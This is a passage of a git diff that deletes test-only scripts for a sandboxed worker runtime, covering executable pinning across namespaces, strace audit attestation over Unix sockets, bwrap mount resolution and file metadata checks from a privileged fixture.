if(!Number.isInteger(cause?.candidateCount)||Number(cause?.candidateCount)<0||Number(cause?.candidateCount)>512||!Array.isArray(cause?.candidates))return; - const candidates=cause.candidates.slice(0,512).map((value:any)=>({depth:Number.isInteger(value?.depth)&&value.depth>=0&&value.depth<=512?value.depth:0,parentRole:["launch-root","descendant","none"].includes(value?.parentRole)?value.parentRole:"unknown",state:["running","sleeping","disk-sleep","zombie","stopped","tracing-stop","dead","idle","missing"].includes(value?.state)?value.state:"unknown"})); - return {candidateCount:Number(cause.candidateCount),candidates}; -} -export function diagnoseNativeFixtureRtk(register:()=>void):void { - try{register();}catch(error){nativeReceipt({kind:"native-fixture-rtk-registration",head:nativeTestHead(),success:false,category:nativeRtkFailureCategory(error),...nativeRtkCandidateLabels(error),...nativeRtkUnavailableLabels(error),...(nativeRtkExecutableLabel(error)?{executableLabel:nativeRtkExecutableLabel(error)}:{})});throw error;} -} - -/** Read-only fixture evidence; these observations never authorize a rewrite. */ -export function nativeRtkProjectionInputs(pid:number,input:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch){ - const evidence:Record={statusReadable:false,environmentReadable:false,pathEqualsOriginal:null,uidEqualsExpected:null,gidEqualsExpected:null,groupCount:null,groupsEqualExpected:null,rtkReadable:false,executableAccessible:null,ownerUidClass:"unknown",ownerGidClass:"unknown",mode:null,ro:null,nodev:null,nosuid:null,staticElf:null,protectedInstallation:null,hostIdentityEqualsWorker:null}; - const proc=`/proc/${pid}`; - try{ - const status=readFileSync(`${proc}/status`,"utf8");evidence.statusReadable=true; - const uid=/^Uid:\s+(.*)$/m.exec(status)?.[1]?.trim().split(/\s+/).map(Number),gid=/^Gid:\s+(.*)$/m.exec(status)?.[1]?.trim().split(/\s+/).map(Number); - evidence.uidEqualsExpected=Boolean(uid?.length===4&&uid.every(v=>v===process.geteuid!()));evidence.gidEqualsExpected=Boolean(gid?.length===4&&gid.every(v=>v===process.getegid!())); - const groups=/^Groups:\s*(.*)$/m.exec(status)?.[1]?.trim().split(/\s+/).filter(Boolean).map(Number).sort((a,b)=>a-b); - evidence.groupCount=groups?.length??null;evidence.groupsEqualExpected=Boolean(groups&&JSON.stringify(groups)===JSON.stringify(process.getgroups!().sort((a,b)=>a-b))); - }catch{/* Fixed unreadable fields only. */} - try{ - const env=Object.fromEntries(readFileSync(`${proc}/environ`,"utf8").split("\0").filter(Boolean).map(v=>{const at=v.indexOf("=");return [v.slice(0,at),v.slice(at+1)];}));evidence.environmentReadable=true;evidence.pathEqualsOriginal=env.PATH===input.env.PATH; - for(const directory of (env.PATH??"").split(":")){ - if(!isAbsolute(directory))break; - const candidate=resolve(directory,"rtk"),visible=`${proc}/root${candidate}`;let info; - try{info=statSync(visible);}catch(error){if(["ENOENT","ENOTDIR"].includes((error as NodeJS.ErrnoException).code??""))continue;break;} - evidence.rtkReadable=true;try{accessSync(visible,constants.X_OK);evidence.executableAccessible=true;}catch{evidence.executableAccessible=false;}evidence.ownerUidClass=info.uid===0?"root":info.uid===process.geteuid!()?"worker":"other";evidence.ownerGidClass=info.gid===0?"root":info.gid===process.getegid!()?"worker":"other";evidence.mode=info.mode&0o7777; - try{const real=realpathSync(candidate),host=statSync(real);evidence.protectedInstallation=["/usr/bin","/usr/local/bin","/bin"].some(root=>within(root,real));evidence.hostIdentityEqualsWorker=host.dev===info.dev&&host.ino===info.ino;evidence.staticElf=isStaticNativeElf(real);}catch{/* Keep unknown. */} - try{const result=spawnSync("/usr/bin/python3",["-I","-S","-c",'import os,json,sys\ns=os.statvfs(sys.argv[1]);print(json.dumps({"ro":bool(s.f_flag&os.ST_RDONLY),"nodev":bool(s.f_flag&os.ST_NODEV),"nosuid":bool(s.f_flag&os.ST_NOSUID)}))',visible],{env:{},encoding:"utf8",timeout:watchdogMs(5000)});if(result.status===0){const flags=JSON.parse(result.stdout);for(const key of ["ro","nodev","nosuid"])if(typeof flags[key]==="boolean")evidence[key]=flags[key];}}catch{/* Keep unknown. */} - break; - } - }catch{/* Fixed unreadable fields only. */} - return evidence; -} -export function nativeRtkOracleResult(command:string,result:unknown):string{return typeof result!=="string"?"invalid-result":result===command?"unchanged":result.trim()?"rewritten":"empty-result";} -/** The measurement installed this fixed read-only static oracle itself. */ -export async function diagnoseNativeRtkProjection(pid:number,input:import("../packages/ui-sdk/src/server/worker-launcher").WorkerLaunch,command:string):Promise{ - const inputs=nativeRtkProjectionInputs(pid,input);let oracleResult="unavailable"; - try{if(isStaticNativeElf("/usr/local/bin/rtk"))oracleResult=nativeRtkOracleResult(command,await rewriteInstalledRtk(command,"/usr/local/bin/rtk"));}catch{oracleResult="error";} - nativeReceipt({kind:"native-fixture-rtk-inputs",head:nativeTestHead(),...inputs,oracleResult}); -} diff --git a/scripts/native-runtime-pin.ts b/scripts/native-runtime-pin.ts deleted file mode 100644 index 692744bad1..0000000000 --- a/scripts/native-runtime-pin.ts +++ /dev/null @@ -1,54 +0,0 @@ -/** Test-only transfer of an admitted executable across a keeper namespace. */ -import {closeSync,constants,fstatSync,lstatSync,mkdtempSync,openSync,readFileSync,readSync,realpathSync,rmSync,chmodSync} from "node:fs"; -import {createHash} from "node:crypto"; -import {join} from "node:path"; -import {tmpdir} from "node:os"; -const spawn=Bun.spawn.bind(Bun),spawnSync=Bun.spawnSync.bind(Bun); -const PIN_FD=207; -// Linux O_CLOEXEC: the carrier itself is Linux-only. -const O_CLOEXEC=0o2000000; -let helper:{root:string;file:string}|undefined; -const held=new Set<()=>void>(); -function carrier():string{ - if(helper)return helper.file; - const root=mkdtempSync(join(tmpdir(),"odysseus-native-carrier-")),file=join(root,"carrier"); - try{const built=spawnSync(["cc","-static","-Os","-std=c11","-x","c","-","-o",file],{stdin:readFileSync(join(import.meta.dir,"native-proof/native-runtime-carrier.c")),stdout:"pipe",stderr:"pipe",env:{PATH:"/usr/bin:/bin"}});if(built.exitCode!==0)throw Error("native executable carrier unavailable");chmodSync(file,0o555); - helper={root,file};process.prependOnceListener("exit",()=>{for(const close of [...held])close();rmSync(root,{recursive:true,force:true});});return file; - }catch(error){rmSync(root,{recursive:true,force:true});throw error;} -} -function identity(pid:number):{start:string;parent:number;state:string}{ - const fields=readFileSync(`/proc/${pid}/stat`,"utf8").replace(/^.*\) /s,"").trim().split(/\s+/); - if(!fields[19]||!["R","S","D","I","T","t","W","P"].includes(fields[0]!))throw Error("native executable launch identity unavailable");return {start:fields[19],parent:Number(fields[1]),state:fields[0]!}; -} -function stamp(fd:number){const s=fstatSync(fd,{bigint:true});if(!s.isFile())throw Error("native executable pin is not regular");return {dev:s.dev,ino:s.ino,size:s.size,mtime:s.mtimeNs,ctime:s.ctimeNs};} -function same(a:ReturnType,b:ReturnType){return a.dev===b.dev&&a.ino===b.ino&&a.size===b.size&&a.mtime===b.mtime&&a.ctime===b.ctime;} -function digest(fd:number):string{const hash=createHash("sha256"),buffer=Buffer.alloc(1024*1024);let position=0,bytes;while((bytes=readSync(fd,buffer,0,buffer.length,position))>0){hash.update(buffer.subarray(0,bytes));position+=bytes;}return hash.digest("hex");} -export function pinNativeWorkerExecutable(selected:string,validateAuthority:()=>void,reject:(reason:string)=>void){ - const program=carrier();validateAuthority();if(realpathSync(selected)!==selected||!lstatSync(selected).isFile())throw Error("native executable pin requires its selected canonical path"); - let fd:number|undefined=openSync(selected,constants.O_RDONLY|O_CLOEXEC|constants.O_NOFOLLOW); - const {expected,hash}=(()=>{try{const expected=stamp(fd!),hash=digest(fd!);if(!same(expected,stamp(fd!)))throw Error("native executable pin changed");return {expected,hash};}catch(error){closeSync(fd!);throw error;}})(); - const root=(()=>{try{return mkdtempSync(join(tmpdir(),"odysseus-native-pin-"));}catch(error){closeSync(fd!);throw error;}})(),socket=join(root,"transfer");let closed=false,used=false,transferPeer:number|undefined,owner:{pid:number;start:string}|undefined; - const server=(()=>{try{return spawn([program,"serve",socket,String(process.pid)],{env:{},stdin:"pipe",stdout:"pipe",stderr:"pipe",stdio:["pipe","pipe","pipe",fd!]});}catch(error){closeSync(fd!);rmSync(root,{recursive:true,force:true});throw error;}})();server.unref(); - const closePin=()=>{if(fd!==undefined){closeSync(fd);fd=undefined;}}; - const validate=()=>{ - if(closed)throw Error("native executable pin expired");validateAuthority();if(realpathSync(selected)!==selected)throw Error("native executable pin changed"); - const check=fd??openSync(selected,constants.O_RDONLY|O_CLOEXEC|constants.O_NOFOLLOW); - try{const before=stamp(check);if(!same(expected,before)||!same(before,stamp(check)))throw Error("native executable pin changed");const named=lstatSync(selected,{bigint:true});if(named.dev!==expected.dev||named.ino!==expected.ino||named.size!==expected.size)throw Error("native executable pin changed");}finally{if(check!==fd)closeSync(check);} - }; - const ownsPeer=(pid:number,start:string):boolean=>{ - if(!owner||identity(owner.pid).start!==owner.start||identity(pid).start!==start||realpathSync(`/proc/${pid}/exe`)!==program)return false; - let current=pid;for(let depth=0;current>1&&depth<64;depth++){const now=identity(current);if(current===owner.pid)return now.start===owner.start;current=now.parent;}return false; - }; - const report=(reason:string)=>{if(closed)return;try{reject(reason);}catch{/* The rejection is retained by the guard; never grant a descriptor. */}}; - const dispose=()=>{if(closed)return;closed=true;closePin();server.stdin.end();if(server.exitCode===null)server.kill("SIGKILL");rmSync(root,{recursive:true,force:true});held.delete(dispose);};held.add(dispose); - const read=(async()=>{let pending="";for await(const chunk of server.stdout){pending+=new TextDecoder().decode(chunk);if(pending.length>1024)throw Error("native executable transfer failed");let at;while((at=pending.indexOf("\n"))>=0){const line=pending.slice(0,at);pending=pending.slice(at+1);const match=/^(request|replay) ([1-9][0-9]*) ([0-9]+) ([0-9]+)$/.exec(line);let allow=false; - try{if(!match||used||match[1]!=="request")throw Error("native executable transfer replay");const pid=Number(match[2]),start=identity(pid).start; - if(!ownsPeer(pid,start))throw Error("native executable transfer peer mismatch"); - validate();if(!ownsPeer(pid,start))throw Error("native executable transfer peer mismatch");transferPeer=pid;used=true;allow=true; - }catch(error){report(error instanceof Error?error.message:"native executable transfer failed");} - if(match?.[1]==="request")server.stdin.write(allow?"yes\n":"no\n"); - }}if(!closed&&!used)report("native executable transfer failed");})();void read.catch(()=>report("native executable transfer failed")); - void new Response(server.stderr).text().then(text=>{if(text&&!closed)report("native executable transfer failed");}); - return {selected,hash,descriptor:fd,program,get transferPeer(){return transferPeer;},wrap:(argv:readonly string[])=>[program,"receive",socket,String(PIN_FD),"--",...argv],mount:["--perms","0555","--ro-bind-data",String(PIN_FD),selected],beforeLaunch:validate, - afterSpawn(pid:number){try{if(owner)throw Error("native executable launch reused");owner={pid,start:identity(pid).start};}finally{closePin();}},dispose}; -} diff --git a/scripts/native-shared-audit.ts b/scripts/native-shared-audit.ts deleted file mode 100644 index 444c8e7971..0000000000 --- a/scripts/native-shared-audit.ts +++ /dev/null @@ -1,72 +0,0 @@ -/** Reuse only a live outer guard's pinned strace file, never an ambient tracer. */ -import {closeSync,constants,fstatSync,lstatSync,openSync,readFileSync,statSync} from "node:fs"; -const spawn=Bun.spawn.bind(Bun),spawnSync=Bun.spawnSync.bind(Bun); -import {join,dirname} from "node:path"; -const KEY="BRAIN_NATIVE_EXEC_AUDIT"; -const AUDIT_SERVER="# Read-only audit attestation in the owning namespace; no payload descriptors.\nimport json, os, socket, stat, struct, sys, ctypes\npath,owner,owner_start,dev,ino,tracer_dev,tracer_ino=sys.argv[1:]\nowner=int(owner)\nlibc=ctypes.CDLL(None,use_errno=True)\nif libc.prctl(1,9,0,0,0) or os.getppid()!=owner:sys.exit(125)\ndef identity(pid):\n fields=open('/proc/%d/stat'%pid).read().rsplit(') ',1)[1].split()\n return fields[19],int(fields[1]),fields[0]\ndef ancestor(pid,target):\n for depth in range(64):\n if pid==target:return True\n if pid<=1:return False\n pid=identity(pid)[1]\n return False\ndef tracer(pid):\n for line in open('/proc/%d/status'%pid):\n if line.startswith('TracerPid:'):return int(line.split()[1])\n return 0\ninfo=os.fstat(3)\nassert stat.S_ISREG(info.st_mode) and info.st_nlink==1 and stat.S_IMODE(info.st_mode)==0o600 and str(info.st_dev)==dev and str(info.st_ino)==ino\nos.set_inheritable(3,False)\nserver=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)\nserver.bind(path);os.chmod(path,0o600);server.listen(16)\nwhile True:\n peer,_=server.accept()\n peer.settimeout(2)\n try:\n pid,uid,gid=struct.unpack('3i',peer.getsockopt(socket.SOL_SOCKET,socket.SO_PEERCRED,12))\n assert uid==os.getuid() and identity(owner)[0]==owner_start and ancestor(pid,owner)\n data=b''\n while b'\\n' not in data:\n part=peer.recv(4096)\n if not part:raise ValueError()\n data+=part\n if len(data)>4096:raise ValueError()\n request=json.loads(data)\n traced=tracer(pid);assert traced>1\n start,parent,state=identity(traced)\n assert state in ('R','S','D','I')\n exe=os.stat('/proc/%d/exe'%traced)\n assert str(exe.st_dev)==tracer_dev and str(exe.st_ino)==tracer_ino\n args=open('/proc/%d/cmdline'%traced,'rb').read().split(b'\\0')\n assert b'--kill-on-exit' in args and b'-f' in args\n held=False\n for fd in os.listdir('/proc/%d/fd'%traced):\n try:\n output=os.stat('/proc/%d/fd/%s'%(traced,fd))\n if output.st_dev==info.st_dev and output.st_ino==info.st_ino:held=True\n except OSError:pass\n assert held\n if request.get('tracer') is not None:assert request['tracer']==traced and request['start']==start\n current=os.fstat(3)\n assert current.st_dev==info.st_dev and current.st_ino==info.st_ino and current.st_nlink==1 and stat.S_IMODE(current.st_mode)==0o600\n offset=request.get('offset',current.st_size)\n assert isinstance(offset,int) and 0<=offset<=current.st_size<=64*1024*1024\n text=os.pread(3,current.st_size-offset,offset).decode('utf8') if request.get('read') else ''\n response={'ok':True,'tracer':traced,'start':start,'size':current.st_size,'text':text}\n except Exception:response={'ok':False}\n try:peer.sendall(json.dumps(response).encode()+b'\\n')\n except OSError:pass\n finally:peer.close()\n"; -interface Token {owner:number;start:string;fd:number;dev:string;ino:string;tracerDev:string;tracerIno:string;path:string;socket:string;server:number;serverStart:string;socketDev:string;socketIno:string} -const inherited=process.env[KEY];delete process.env[KEY]; -export function nativeAuditEnvironment(env:Record){return inherited&&!Object.hasOwn(env,KEY)?{...env,[KEY]:inherited}:env;} -function proc(pid:number){const fields=readFileSync(`/proc/${pid}/stat`,"utf8").replace(/^.*\) /s,"").split(" ");return {start:fields[19]!,parent:Number(fields[1]),state:fields[0]!};} -function tracerPid(){return Number(/^TracerPid:\s+(\d+)/m.exec(readFileSync("/proc/self/status","utf8"))?.[1]??0);} -function ancestor(pid:number){let at=process.pid;for(let n=0;at>1&&n<64;n++){if(at===pid)return true;at=proc(at).parent;}return false;} -export function ownNativeAudit(path:string,tracer:string){ - const fd=openSync(path,constants.O_RDONLY|constants.O_NOFOLLOW),file=fstatSync(fd,{bigint:true}),exe=statSync(tracer,{bigint:true});let closed=false; - const socket=join(dirname(path),"attest.sock"); - let server:ReturnType; - try{server=spawn(["/usr/bin/python3","-I","-S","-c",AUDIT_SERVER,socket,String(process.pid),proc(process.pid).start,String(file.dev),String(file.ino),String(exe.dev),String(exe.ino)],{env:{},stdin:"ignore",stdout:"ignore",stderr:"ignore",stdio:["ignore","ignore","ignore",fd]});server.unref(); - const deadline=Date.now()+2000;while(true){try{lstatSync(socket);break;}catch{if(Date.now()>deadline)throw Error("native outer audit attestation unavailable");Atomics.wait(new Int32Array(new SharedArrayBuffer(4)),0,0,5);}} - }catch(error){closeSync(fd);throw error;} - const endpoint=lstatSync(socket,{bigint:true}); - const token:Token={owner:process.pid,start:proc(process.pid).start,fd,dev:String(file.dev),ino:String(file.ino),tracerDev:String(exe.dev),tracerIno:String(exe.ino),path,socket,server:server.pid,serverStart:proc(server.pid).start,socketDev:String(endpoint.dev),socketIno:String(endpoint.ino)}; - return {env:{[KEY]:JSON.stringify(token)},close(){if(closed)return;closed=true;closeSync(fd);if(server.exitCode===null)server.kill("SIGKILL");}}; -} - -export function nativeTraceSubtree(trace:string,root:number):string { - const lines=trace.split("\n"),edges:{parent:number;child:number;line:number;thread:boolean}[]=[],pending=new Map(),exits:{pid:number;line:number;group:boolean}[]=[]; - for(const [line,text]of lines.entries()){ - const exit=/^\s*(\d+)\s+(exit_group|exit)\(/.exec(text);if(exit)exits.push({pid:Number(exit[1]),line,group:exit[2]==="exit_group"}); - const begin=/^\s*(\d+)\s+(clone3?|fork|vfork)\(/.exec(text),resume=/^\s*(\d+)\s+<\.\.\. (clone3?|fork|vfork) resumed>/.exec(text); - if(!begin&&!resume)continue;const parent=Number((begin??resume)![1]); - if(begin&&text.includes("")){pending.set(parent,{line,thread:text.includes("CLONE_THREAD")});continue;} - const result=/\s= ([1-9]\d*)(?:\s.*)?$/.exec(text);if(!result)continue;const first=resume?pending.get(parent):undefined; - edges.push({parent,child:Number(result[1]),line:first?.line??line,thread:first?.thread??text.includes("CLONE_THREAD")});pending.delete(parent); - } - const owned=new Map([[root,{birth:0,group:root}]]); - const death=(pid:number,birth:number,group:number):number=>{ - for(const event of exits){ - if(event.linedeath(edge.parent,parent.birth,parent.group)||owned.has(edge.child))continue;owned.set(edge.child,{birth:edge.line,group:edge.thread?parent.group:edge.child});changed=true;}if(!changed)break;} - const ends=new Map([...owned].map(([pid,scope])=>[pid,death(pid,scope.birth,scope.group)])); - return lines.filter((text,line)=>{const pid=Number(/^\s*(\d+)/.exec(text)?.[1]??0),scope=owned.get(pid);return scope&&line>=scope.birth&&line<=(ends.get(pid)??-1);}).join("\n"); -} - -export function borrowNativeAudit(reject:(reason:string)=>void){ - const tracer=tracerPid();if(!tracer)return; - if(!inherited)throw Error("native outer audit ownership unavailable"); - let token:Token;try{token=JSON.parse(inherited);}catch{throw Error("native outer audit ownership unavailable");} - if(!Number.isSafeInteger(token.owner)||!Number.isSafeInteger(token.fd)||token.fd<3||!/^\d+$/.test(token.start)||!ancestor(token.owner))throw Error("native outer audit ownership unavailable"); - let traceStart:string|undefined,tracedPid:number|undefined; - const rpc=(read=false,offset?:number):{size:number;text:string}=>{ - try{ - if(proc(token.owner).start!==token.start||proc(token.server).start!==token.serverStart)throw Error(); - const endpoint=lstatSync(token.socket,{bigint:true});if(!endpoint.isSocket()||String(endpoint.dev)!==token.socketDev||String(endpoint.ino)!==token.socketIno)throw Error(); - const client='import json,os,socket,struct,sys\ns=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM);s.settimeout(2);s.connect(sys.argv[1])\npid,uid,gid=struct.unpack("3i",s.getsockopt(socket.SOL_SOCKET,socket.SO_PEERCRED,12))\nassert pid==int(sys.argv[2])\ns.sendall(sys.argv[3].encode()+b"\\n")\nout=b""\nwhile True:\n part=s.recv(65536)\n if not part:break\n out+=part\n if out.endswith(b"\\n"):break\nsys.stdout.buffer.write(out)'; - const result=spawnSync(["/usr/bin/python3","-I","-S","-c",client,token.socket,String(token.server),JSON.stringify({read,offset,tracer:tracedPid,start:traceStart})],{stdin:"ignore",stdout:"pipe",stderr:"pipe",timeout:2500}); - if(result.exitCode!==0)throw Error();const response=JSON.parse(result.stdout.toString());if(response.ok!==true||!Number.isSafeInteger(response.tracer)||!/^\d+$/.test(response.start))throw Error(); - tracedPid=response.tracer;traceStart=response.start;return response; - }catch{throw Error("native outer audit ownership unavailable");} - }; - const offset=rpc().size;let root=0,rootStart="",closed=false,timer:ReturnType|undefined,pending:{pid:number;at:number;offset:number}|undefined; - const validate=()=>{rpc();}; - const all=()=>rpc(true,offset).text; - const read=()=>root?nativeTraceSubtree(all(),root):""; - const dispose=()=>{closed=true;clearInterval(timer);}; - const monitor=()=>{if(closed)return;try{validate();if(root&&rootStart){try{if(proc(root).start!==rootStart)throw Error("native inner audit identity changed");}catch(error){if(!["ENOENT","ESRCH"].includes((error as NodeJS.ErrnoException).code??""))throw error;}}if(pending){const trace=rpc(true,pending.offset).text;if(new RegExp(`^\\s*${pending.pid}\\s+execve\\("/usr/bin/true"`,"m").test(trace))pending=undefined;else if(Date.now()-pending.at>2000)throw Error("native outer audit stopped growing");} - if(!pending){const heartbeatOffset=rpc().size;const heartbeat=spawn(["/usr/bin/true"],{stdin:"ignore",stdout:"ignore",stderr:"ignore"});heartbeat.unref();pending={pid:heartbeat.pid,at:Date.now(),offset:heartbeatOffset};} - }catch(error){dispose();if(root&&rootStart){try{if(proc(root).start===rootStart)process.kill(root,"SIGKILL");}catch{}}reject(error instanceof Error?error.message:"native outer audit unavailable");}}; - return {read,beforeLaunch:validate,afterSpawn(pid:number){root=pid;try{rootStart=proc(pid).start;}catch{rootStart="";}timer=setInterval(monitor,250);timer.unref();},dispose,env:{[KEY]:inherited}}; -} diff --git a/scripts/native-stage-links.ts b/scripts/native-stage-links.ts deleted file mode 100644 index fae07ef507..0000000000 --- a/scripts/native-stage-links.ts +++ /dev/null @@ -1,42 +0,0 @@ -/** Test-only resolution of stage links against actual bwrap mount operands. */ -import {dirname,join,resolve,isAbsolute} from "node:path"; -const inside=(root:string,path:string)=>path===root||path.startsWith(root.endsWith("/")?root:root+"/"); -type Mount={at:number;flag:string;source?:string;target:string}; -function mounts(argv:readonly string[]):Mount[]{ - const zero=new Set(["--unshare-all","--unshare-user","--unshare-user-try","--unshare-ipc","--unshare-pid","--unshare-net","--unshare-uts","--unshare-cgroup","--unshare-cgroup-try","--disable-userns","--assert-userns-disabled","--clearenv","--new-session","--die-with-parent","--as-pid-1"]); - const one=new Set(["--args","--userns","--userns2","--pidns","--uid","--gid","--hostname","--chdir","--unsetenv","--lock-file","--sync-fd","--remount-ro","--exec-label","--file-label","--seccomp","--add-seccomp-fd","--block-fd","--userns-block-fd","--info-fd","--json-status-fd","--cap-add","--cap-drop","--perms","--size"]); - const two=new Set(["--setenv","--bind","--bind-try","--dev-bind","--dev-bind-try","--ro-bind","--ro-bind-try","--bind-fd","--ro-bind-fd","--file","--bind-data","--ro-bind-data","--symlink","--chmod"]); - const directory=new Set(["--proc","--dev","--tmpfs","--mqueue","--dir"]),bind=new Set(["--bind","--bind-try","--dev-bind","--dev-bind-try","--ro-bind","--ro-bind-try"]),result:Mount[]=[]; - for(let at=0;at=argv.length)throw Error("Invalid stage view option");if(flag!=="--setenv")result.push({at,flag,...(bind.has(flag)?{source:argv[at+1]}:{}),target:argv[at+2]!});at+=3;continue;} - throw Error("Unrecognized stage view option"); - }if(result.some(row=>!isAbsolute(row.target)||resolve(row.target)!==row.target))throw Error("Noncanonical stage view destination");return result; -} -export function resolveNativeStageLinks(input:{root:string;links:ReadonlyMap;entries:ReadonlySet;view?:{source:string;destination:string;mounts:readonly string[]}}):ReadonlyMap{ - const result=new Map(),view=input.view; - let mapping:Mount|undefined,operations:Mount[]=[]; - if(view){operations=mounts(view.mounts);const candidates=operations.filter(row=>["--bind","--ro-bind"].includes(row.flag)&&row.source===view.source&&row.target===view.destination);if(candidates.length!==1)throw Object.assign(Error("Stage link view mapping differs"),{sourceBindings:operations.filter(row=>row.source===view.source).length,destinationBindings:operations.filter(row=>row.target===view.destination).length,matchingBindings:candidates.length});mapping=candidates[0];} - for(const relative of input.links.keys()){ - let current=relative,pending=false;const seen=new Set(),traversed:string[]=[]; - for(let depth=0;;depth++){ - if(depth>256||seen.has(current))throw Error("Stage symlink cycle");seen.add(current); - const parts=current.split("/");let changed=false; - for(let i=0;imapping.at&&traversed.some(path=>inside(row.target,join(view.destination,path))))throw Error("Stage link view overlay changed"); - result.set(relative,current);break; - } - }return result; -} diff --git a/scripts/native-stage-metadata-channel.py b/scripts/native-stage-metadata-channel.py deleted file mode 100644 index a3b5e880ee..0000000000 --- a/scripts/native-stage-metadata-channel.py +++ /dev/null @@ -1,124 +0,0 @@ -# Test-only metadata for one transparently observed production stage handle. -import ctypes,json,os,select,signal,socket,stat,struct,sys -config=json.loads(sys.argv[1]);libc=ctypes.CDLL(None,use_errno=True) -if os.geteuid()!=0 or libc.prctl(1,9,0,0,0):raise RuntimeError('root fixture parent required') -def start(pid):return open('/proc/'+str(pid)+'/stat').read().rsplit(') ',1)[1].split()[19] -def mount(fd): - for line in open('/proc/self/fdinfo/'+str(fd)): - if line.startswith('mnt_id:'):return line.split()[1] - raise RuntimeError('missing mount identity') -def keeper_namespace(): - if config['appUid']==0:return str(os.stat('/proc/'+str(config['pid'])+'/ns/mnt').st_ino) - read,write=os.pipe();child=os.fork() - if not child: - try: - os.close(read);owner=os.getppid() - if libc.prctl(1,9,0,0,0) or os.getppid()!=owner:raise RuntimeError('metadata owner expired') - os.setgroups([config['gid']]);os.setgid(config['gid']);os.setuid(config['appUid']) - if libc.prctl(1,9,0,0,0) or os.getppid()!=owner:raise RuntimeError('metadata owner expired') - os.write(write,str(os.stat('/proc/'+str(config['pid'])+'/ns/mnt').st_ino).encode()) - except:pass - os._exit(0) - os.close(write);value=os.read(read,128);os.close(read);os.waitpid(child,0) - if not value.isdigit():raise RuntimeError('keeper namespace unavailable') - return value.decode() -def live(): - if not (start(config['pid'])==config['start'] and keeper_namespace()==config['namespace'] and (not config.get('readerPid') or start(config['readerPid'])==config['readerStart'] and str(os.stat('/proc/'+str(config['readerPid'])+'/ns/mnt').st_ino)==config['readerNamespace'])):return False - current=os.open('/proc/'+str(config.get('readerPid',config['pid']))+'/root'+config['root'],os.O_PATH|os.O_DIRECTORY|os.O_NOFOLLOW) - try: - value=os.fstat(current) - return str(value.st_dev)==config['dev'] and str(value.st_ino)==config['ino'] and mount(current)==root_mount - finally:os.close(current) -root=os.open('/proc/'+str(config.get('readerPid',config['pid']))+'/root'+config['root'],os.O_PATH|os.O_DIRECTORY) -info=os.fstat(root);root_mount=mount(root) -if str(info.st_dev)!=config['dev'] or str(info.st_ino)!=config['ino'] or not live():raise RuntimeError('stage identity changed') -listener=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM);peer=None -keeper=os.pidfd_open(config['pid']);bound=False -def terminate(signum,frame):raise SystemExit(1) -signal.signal(signal.SIGTERM,terminate) -try: - listener.bind(config['socket']);bound=True;os.chown(config['socket'],0,config['gid']);os.chmod(config['socket'],0o660);listener.listen(1) - print('{"ready":true}',flush=True) - while True: - events,_,_=select.select([listener,keeper],[],[],1) - if keeper in events or not live():raise RuntimeError('keeper expired') - if listener in events:break - peer,_=listener.accept();pid,uid,gid=struct.unpack('3i',peer.getsockopt(socket.SOL_SOCKET,socket.SO_PEERCRED,12)) - if uid!=config['appUid']:raise RuntimeError('wrong guard peer') - peer_start=start(pid);os.unlink(config['socket']);bound=False;listener.close() - greeting=dict(stage=config['id'],pid=config['pid'],start=config['start'],namespace=config['namespace'],dev=config['dev'],ino=config['ino'],peer=pid,peerStart=peer_start) - peer.sendall((json.dumps(greeting,separators=(',',':'))+'\n').encode());pending=b'' - def node(path): - names=path.split('/') if path else ['.'] - if path.startswith('/') or len(names)>256 or any(name in ('','..') or name=='.' and path!='' or '\0' in name for name in names):raise RuntimeError('noncanonical relative node') - parent=os.dup(root) - try: - for name in names[:-1]: - fd=os.open(name,os.O_PATH|os.O_DIRECTORY|os.O_NOFOLLOW,dir_fd=parent) - os.close(parent);parent=fd - if mount(parent)!=root_mount:raise RuntimeError('foreign mount') - fd=os.dup(root) if path=='' else os.open(names[-1],os.O_PATH|os.O_NOFOLLOW,dir_fd=parent) - try: - value=os.fstat(fd);mount_id=mount(fd) - kind='file' if stat.S_ISREG(value.st_mode) else 'directory' if stat.S_ISDIR(value.st_mode) else 'symlink' if stat.S_ISLNK(value.st_mode) else 'other' - if mount_id!=root_mount or kind=='other':raise RuntimeError('foreign mount or unsupported node') - result=dict(nlink=str(value.st_nlink),uid=value.st_uid,gid=value.st_gid,mode=stat.S_IMODE(value.st_mode),dev=str(value.st_dev),ino=str(value.st_ino),mountId=mount_id,rootMountId=root_mount,stamp=f'{value.st_ino}:{value.st_size}:{value.st_mtime_ns}:{value.st_ctime_ns}',kind=kind) - finally:os.close(fd) - return result,parent,names[-1] - except:os.close(parent);raise - while True: - events,_,_=select.select([peer,keeper],[],[],1) - if keeper in events or not live() or start(pid)!=peer_start:raise RuntimeError('owned identity expired') - if peer not in events:continue - data=peer.recv(4096) - if not data:break - pending+=data - if len(pending)>4096:raise RuntimeError('request bound') - if b'\n' not in pending:continue - if pending.count(b'\n')!=1 or not pending.endswith(b'\n'):raise RuntimeError('one request required') - try: - request=json.loads(pending);pending=b'' - if sorted(request)!=['inode','path','stamp'] or not all(isinstance(v,str) for v in request.values()):raise RuntimeError('request schema') - before,parent,name=node(request['path']);os.close(parent) - if before['stamp']!=request['stamp'] or before['ino']!=request['inode']:raise RuntimeError('reader node changed') - read,write=os.pipe();child=os.fork() - if not child: - try: - os.close(read);peer.close();os.close(keeper) - owner=os.getppid() - if libc.prctl(1,9,0,0,0) or os.getppid()!=owner:raise RuntimeError("metadata parent expired") - os.setgroups([config['gid']]);os.setgid(config['gid']);os.setuid(config['workerUid']) - if libc.prctl(38,1,0,0,0) or libc.prctl(1,9,0,0,0) or os.getppid()!=owner:raise RuntimeError('worker privilege drop') - value,parent,name=node(request['path']);errno=0 - try: - fd=os.open(name,os.O_RDONLY|os.O_NONBLOCK|os.O_NOFOLLOW|(os.O_DIRECTORY if value['kind']=='directory' else 0),dir_fd=parent);os.close(fd) - except OSError as error:errno=error.errno - finally:os.close(parent) - again,parent,name=node(request['path']);os.close(parent) - if again!=value:raise RuntimeError('worker node changed') - payload=dict(value,errno=errno,readerUid=os.geteuid(),readerGids=sorted(set([os.getegid(),*os.getgroups()]))) - os.write(write,json.dumps(payload,separators=(',',':')).encode()) - except:pass - os._exit(0) - os.close(write);output=b'' - while True: - data=os.read(read,4096) - if not data:break - output+=data - if len(output)>4096:raise RuntimeError('reply bound') - os.close(read);_,status=os.waitpid(child,0) - worker=json.loads(output) - after,parent,name=node(request['path']);os.close(parent) - if before!=after or not live():raise RuntimeError('root node changed') - for key,value in before.items(): - if 